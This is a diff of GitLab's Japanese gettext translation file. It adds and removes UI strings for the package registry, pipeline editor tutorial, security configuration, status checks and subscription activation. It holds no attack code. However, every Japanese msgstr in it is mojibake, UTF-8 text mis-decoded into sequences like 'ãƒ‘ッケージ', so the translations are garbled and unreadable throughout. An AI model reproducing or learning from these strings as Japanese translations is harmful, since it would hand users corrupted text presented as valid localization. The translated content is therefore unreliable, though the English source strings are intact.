msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr "ã“れをコピーã—ã¦ã€ %{codeStart}pom.xml%{codeEnd} ã® %{codeStart} dependencies %{codeEnd} ブロックã«è²¼ã‚Šä»˜ã‘ã¾ã™ã€‚"
@@ -22999,9 +23406,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23011,6 +23427,9 @@ msgstr "ã¾ã è¡Œã£ã¦ã„ãªã„å ´åˆã¯ã€ %{codeStart}pom.xml%{codeEnd} フã‚
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr "GitLabã§%{noPackagesLinkStart}ã‚ãªãŸã®ãƒ‘ッケージを公開ã—共有%{noPackagesLinkEnd}ã™ã‚‹æ–¹æ³•ã‚’å­¦ã¶ã€‚"
@@ -23026,6 +23445,9 @@ msgstr "Maven"
msgid "PackageRegistry|Maven Command"
msgstr "Maven コマンド"
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr "NuGet"
@@ -23071,6 +23493,9 @@ msgstr "パッケージを削除"
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23083,12 +23508,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23150,7 +23569,7 @@ msgid "Packages"
msgstr "パッケージ"
msgid "Packages & Registries"
-msgstr ""
+msgstr "パッケージã¨ãƒ¬ã‚¸ã‚¹ãƒˆãƒª"
msgid "Page not found"
msgstr "ページãŒè¦‹ã¤ã‹ã‚Šã¾ã›ã‚“"
@@ -23185,8 +23604,8 @@ msgstr "Pages"
msgid "Pages Domain"
msgstr "ページドメイン"
-msgid "Pages getting started guide"
-msgstr "Pages 入門ガイド"
+msgid "Pagination|First"
+msgstr ""
msgid "Pagination|Go to first page"
msgstr "最åˆã®ãƒšãƒ¼ã‚¸ã¸"
@@ -23200,6 +23619,9 @@ msgstr "次ã®ãƒšãƒ¼ã‚¸ã¸"
msgid "Pagination|Go to previous page"
msgstr "å‰ã®ãƒšãƒ¼ã‚¸ã¸"
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr "最後 »"
@@ -23251,6 +23673,9 @@ msgstr ""
msgid "Password"
msgstr "パスワード"
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr "パスワード (オプション)"
@@ -23386,6 +23811,9 @@ msgstr "フロントエンドリソース"
msgid "PerformanceBar|Gitaly calls"
msgstr "Gitalyリクエスト"
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr "Redis呼ã³å‡ºã—"
@@ -23464,6 +23892,9 @@ msgstr "パイプラインスケジュール"
msgid "Pipeline Schedules"
msgstr "パイプラインスケジュール"
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr "パイプラインクォータ(分)"
@@ -23518,6 +23949,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr "åˆè¨ˆ:"
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -23584,6 +24063,9 @@ msgstr "%{project_name} ã®ãƒ‘イプライン設定を正常ã«æ›´æ–°ã—ã¾ã—ã
msgid "Pipelines|API"
msgstr "API"
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -23641,6 +24123,9 @@ msgstr "%{namespace_name} グループã¯ã€ãƒ‘イプラインクォータ(分
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -23662,6 +24147,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -23716,6 +24204,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr "ã“ã®ãƒ—ロジェクトã¯ç¾åœ¨ãƒ‘イプラインを実行ã™ã‚‹ã‚ˆã†ã«è¨­å®šã•ã‚Œã¦ã„ã¾ã›ã‚“。"
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -23746,9 +24237,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24046,9 +24534,15 @@ msgstr ""
msgid "Please provide a name"
msgstr "åå‰ã‚’入力ã—ã¦ãã ã•ã„"
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24085,6 +24579,9 @@ msgstr "グループをé¸æŠžã—ã¦ä¸‹ã•ã„。"
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr "メンãƒãƒ¼ã‚’é¸æŠžã—ã¦è¿½åŠ ã—ã¦ãã ã•ã„"
@@ -24094,6 +24591,9 @@ msgstr "çµæžœã‚’表示ã™ã‚‹ã«ã¯ã€å°‘ãªãã¨ã‚‚1ã¤ã®ãƒ•ã‚£ãƒ«ã‚¿ãƒ¼ã‚’é
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr "続ã‘ã‚‹å‰ã«æ–°ã—ã„パスワードを設定ã—ã¦ãã ã•ã„。"
@@ -24127,9 +24627,6 @@ msgstr "リãƒã‚¸ãƒˆãƒªã«æŽ¥ç¶šã§ãã‚‹ã¾ã§ã€ã—ã°ã‚‰ããŠå¾…ã¡ãã ã•
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr "リãƒã‚¸ãƒˆãƒªã‚’インãƒãƒ¼ãƒˆã—ã¦ã„ã‚‹ã®ã§ã€ã—ã°ã‚‰ããŠå¾…ã¡ãã ã•ã„。完了ã™ã‚‹ã¨ã€ç”»é¢ãŒè‡ªå‹•çš„ã«æ›´æ–°ã•ã‚Œã¾ã™ã€‚"
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24157,6 +24654,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24313,6 +24813,9 @@ msgstr "ユーザーãŒãƒ¡ãƒ³ãƒ†ãƒŠãƒ³ã‚¹ã®é–“ã« GitLab ã§æ›¸ãè¾¼ã¿æ“作ã
msgid "Preview"
msgstr "プレビュー"
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr "マークダウンをプレビュー"
@@ -24667,8 +25170,8 @@ msgstr "éžå…¬é–‹ã®è²¢çŒ®"
msgid "Profiles|Profile was successfully updated"
msgstr "ã‚ãªãŸã®ãƒ—ロファイルを正常ã«æ›´æ–°ã§ãã¾ã—ãŸã€‚"
-msgid "Profiles|Public Avatar"
-msgstr "公開アãƒã‚¿ãƒ¼"
+msgid "Profiles|Public avatar"
+msgstr ""
msgid "Profiles|Public email"
msgstr "公開メール"
@@ -24925,6 +25428,9 @@ msgstr "プロジェクトã¯%{label_for_message} ãŒå¤šã™ãŽã¦æ¤œç´¢ã§ãã¾
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25078,9 +25584,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr "GitLabプロジェクト㮠%{project_name} ã§ä¸€èˆ¬çš„ãªæ“作を実行"
@@ -25555,9 +26058,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr "%{group_name} グループã§å…±æœ‰ã•ã‚ŒãŸãƒ—ロジェクト"
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr "グループã«å±žã™ã‚‹ãƒ—ロジェクトã®å…ˆé ­ã«ã¯ã€ã‚°ãƒ«ãƒ¼ãƒ—ã®åå‰ç©ºé–“ãŒä»˜ã„ã¦ã„ã¾ã™ã€‚既存ã®ãƒ—ロジェクトをグループã«ç§»å‹•ã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚"
-
msgid "Projects to index"
msgstr "インデックスを作æˆã™ã‚‹ãƒ—ロジェクト"
@@ -25609,12 +26109,6 @@ msgstr "ã“ã®æ©Ÿèƒ½ã«ã¯ãƒ–ラウザー㫠localStorage サãƒãƒ¼ãƒˆãŒå¿…è¦ã
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr "ã“ã®ãƒ—ロジェクトã®ãƒªãƒã‚¸ãƒˆãƒªã®ã‚¯ãƒ­ãƒ¼ãƒ³ã‚’ã™ãã«ä½œæˆã§ãã¾ã™ã€‚既存ã®ãƒªãƒã‚¸ãƒˆãƒªã‚’プッシュã™ã‚‹å ´åˆã¯ã€ã“れをスキップã—ã¦ãã ã•ã„。"
-msgid "ProjectsNew|Blank"
-msgstr "空"
-
-msgid "ProjectsNew|Blank project"
-msgstr "空ã®ãƒ—ロジェクト"
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -25627,6 +26121,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -25639,9 +26136,6 @@ msgstr "テンプレートã‹ã‚‰ä½œæˆ"
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr "プロジェクトã¨ãƒªãƒã‚¸ãƒˆãƒªã®ä½œæˆã€‚"
-
msgid "ProjectsNew|Description format"
msgstr "説明フォーマット"
@@ -25657,21 +26151,18 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr "リãƒã‚¸ãƒˆãƒªã‚’åˆæœŸåŒ–ã—READMEファイルを生æˆã™ã‚‹"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgstr ""
+
msgid "ProjectsNew|No import options available"
msgstr "利用å¯èƒ½ãªã‚¤ãƒ³ãƒãƒ¼ãƒˆã‚ªãƒ—ションã¯ã‚ã‚Šã¾ã›ã‚“"
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
-msgstr "少々ãŠå¾…ã¡ãã ã•ã„。準備ãŒæ•´ã„次第ã“ã®ãƒšãƒ¼ã‚¸ã¯è‡ªå‹•çš„ã«æ›´æ–°ã•ã‚Œã¾ã™ã€‚"
-
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
msgstr "プロジェクトã®èª¬æ˜Ž%{tag_start}(オプション)%{tag_end}"
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr "テンプレート"
-
msgid "ProjectsNew|Visibility Level"
msgstr "å¯è¦–レベル"
@@ -26419,9 +26910,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26431,6 +26919,9 @@ msgstr "リカãƒãƒªãƒ¼ã‚³ãƒ¼ãƒ‰"
msgid "Redirect to SAML provider to test configuration"
msgstr "設定ã®ãƒ†ã‚¹ãƒˆã‚’実施ã™ã‚‹SAMLプロãƒã‚¤ãƒ€ã¸ãƒªãƒ€ã‚¤ãƒ¬ã‚¯ãƒˆ"
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26528,7 +27019,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -26760,9 +27251,6 @@ msgstr "セカンダリノードã®å‰Šé™¤"
msgid "Remove spent time"
msgstr "作業時間ã®å‰Šé™¤"
-msgid "Remove stage"
-msgstr "ステージã®å‰Šé™¤"
-
msgid "Remove time estimate"
msgstr "見ç©æ™‚間を削除"
@@ -26778,6 +27266,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr "除去ã—ã¾ã—ãŸ"
@@ -27713,6 +28204,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28279,16 +28782,25 @@ msgstr "オンデマンドDASTã§åˆ©ç”¨å¯èƒ½"
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr "設定"
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28303,6 +28815,9 @@ msgstr "ã‚ãªãŸã®è¦ä»¶ã«åˆã‚ã›ã¦ä¸€èˆ¬çš„㪠SAST 設定をカスタマ
msgid "SecurityConfiguration|Enable"
msgstr "有効ã«ã™ã‚‹"
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr "有効"
@@ -28315,6 +28830,9 @@ msgstr " %{featureName} ã®æ©Ÿèƒ½æ–‡æ›¸"
msgid "SecurityConfiguration|Manage"
msgstr "管ç†"
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28327,10 +28845,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr "SAST 設定"
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28339,6 +28857,9 @@ msgstr "状態"
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28393,6 +28914,9 @@ msgstr "'%{vulnerabilityName}' ã®ç·¨é›†ã•ã‚ŒãŸã‚³ãƒ¡ãƒ³ãƒˆ"
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28411,9 +28935,6 @@ msgstr "'%{vulnerabilityName}'ã‚’éžè¡¨ç¤ºã«ã—ã¾ã—ãŸã€‚表示ã™ã‚‹ã«ã¯ã€
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28435,9 +28956,6 @@ msgstr "脆弱性一覧ã®å–得中ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚ãƒãƒƒãƒˆ
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -28606,6 +29124,9 @@ msgstr "ã“ã®ãƒ¬ãƒãƒ¼ãƒˆã‚’表示ã™ã‚‹ã«ã¯ã€æ‰¿èªã•ã‚ŒãŸãƒ¦ãƒ¼ã‚¶ãƒ¼ã¨
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr "メトリクスをå‚ç…§"
@@ -28672,6 +29193,9 @@ msgstr ""
msgid "Select a repository"
msgstr "リãƒã‚¸ãƒˆãƒªã‚’é¸æŠž"
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr "テンプレートリãƒã‚¸ãƒˆãƒªã‚’é¸æŠž"
@@ -28906,6 +29430,9 @@ msgstr "Serverless"
msgid "Serverless domain"
msgstr "Severlessドメイン"
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr "Function呼ã³å‡ºã—メトリクスã§ã¯ã€ Prometheus を最åˆã«ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«ã™ã‚‹å¿…è¦ãŒã‚ã‚Šã¾ã™ã€‚"
@@ -29059,9 +29586,6 @@ msgstr "デフォルトを設定ã—ã€å¯è¦–性レベルを制é™ã—ã¾ã™ã€‚イ
msgid "Set due date"
msgstr "期é™ã®è¨­å®š"
-msgid "Set instance-wide template repository"
-msgstr "インスタンス全体レベルã®ãƒ†ãƒ³ãƒ—レートリãƒã‚¸ãƒˆãƒªã‚’設定ã—ã¾ã™ã€‚"
-
msgid "Set iteration"
msgstr "イテレーションを設定"
@@ -29296,9 +29820,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr "共有Runnerã®ãƒ˜ãƒ«ãƒ—リンク"
@@ -29535,6 +30056,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr "サインアップã®åˆ¶é™"
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -29628,6 +30155,9 @@ msgstr "ã“ã®ã‚µãƒ¼ãƒ“スを設定ã—ãŸå¾Œã« Slack 上ã§ä½¿ç”¨ã§ãるコãƒ
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr "ã“ã®ã‚µãƒ¼ãƒ“スã«ã‚ˆã‚Šã€ãƒ¦ãƒ¼ã‚¶ãƒ¼ã¯ Slack ã«ã‚¹ãƒ©ãƒƒã‚·ãƒ¥ã‚³ãƒžãƒ³ãƒ‰ã‚’入力ã—ã¦ã€ã“ã®ãƒ—ロジェクト上ã®ä¸€èˆ¬çš„ãªæ“作ãŒå®Ÿè¡Œã§ãã¾ã™ã€‚"
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr "スマートカード"
@@ -29865,6 +30395,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr "ã“ã®ç’°å¢ƒã®åœæ­¢ä¸­ã«å•é¡ŒãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚ã‚‚ã†ä¸€åº¦ã‚„ã‚Šç›´ã—ã¦ãã ã•ã„。"
@@ -30171,6 +30704,9 @@ msgstr "メールアドレスã®æ­£è¦è¡¨ç¾ãƒ‘ターンを指定ã—ã¦ã€ãƒ‡ãƒ•
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr "コミットメッセージをスカッシュ"
@@ -30186,11 +30722,14 @@ msgstr ""
msgid "Stage"
msgstr "ステージ"
-msgid "Stage data updated"
-msgstr "ステージデータã®æ›´æ–°"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
+msgstr ""
-msgid "Stage removed"
-msgstr "削除ãšã¿ã‚¹ãƒ†ãƒ¼ã‚¸"
+msgid "StageName|Test"
+msgstr ""
msgid "Standard"
msgstr "標準"
@@ -30411,18 +30950,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30456,9 +31034,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr "ステータスページã®URL"
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -30513,6 +31088,9 @@ msgstr "ストレージ:"
msgid "StorageSize|Unknown"
msgstr "ä¸æ˜Ž"
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr "サブグループマイルストーン"
@@ -30618,6 +31196,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr "サブスクリプションã®å‰Šé™¤ã«å¤±æ•—ã—ã¾ã—ãŸã€‚"
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -30729,6 +31310,9 @@ msgstr "有効化ã«æˆåŠŸã—ã¾ã—ãŸ"
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr "正常ã«ãƒ–ロックã•ã‚Œã¾ã—ãŸ"
@@ -30753,6 +31337,9 @@ msgstr "実行ã™ã‚‹ãƒ‘イプラインをスケジュールã—ã¾ã—ãŸã€‚ 詳ã
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr "正常ã«ãƒ–ロックãŒè§£é™¤ã•ã‚Œã¾ã—ãŸ"
@@ -30864,42 +31451,93 @@ msgstr "概è¦"
msgid "Sunday"
msgstr "日曜日"
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
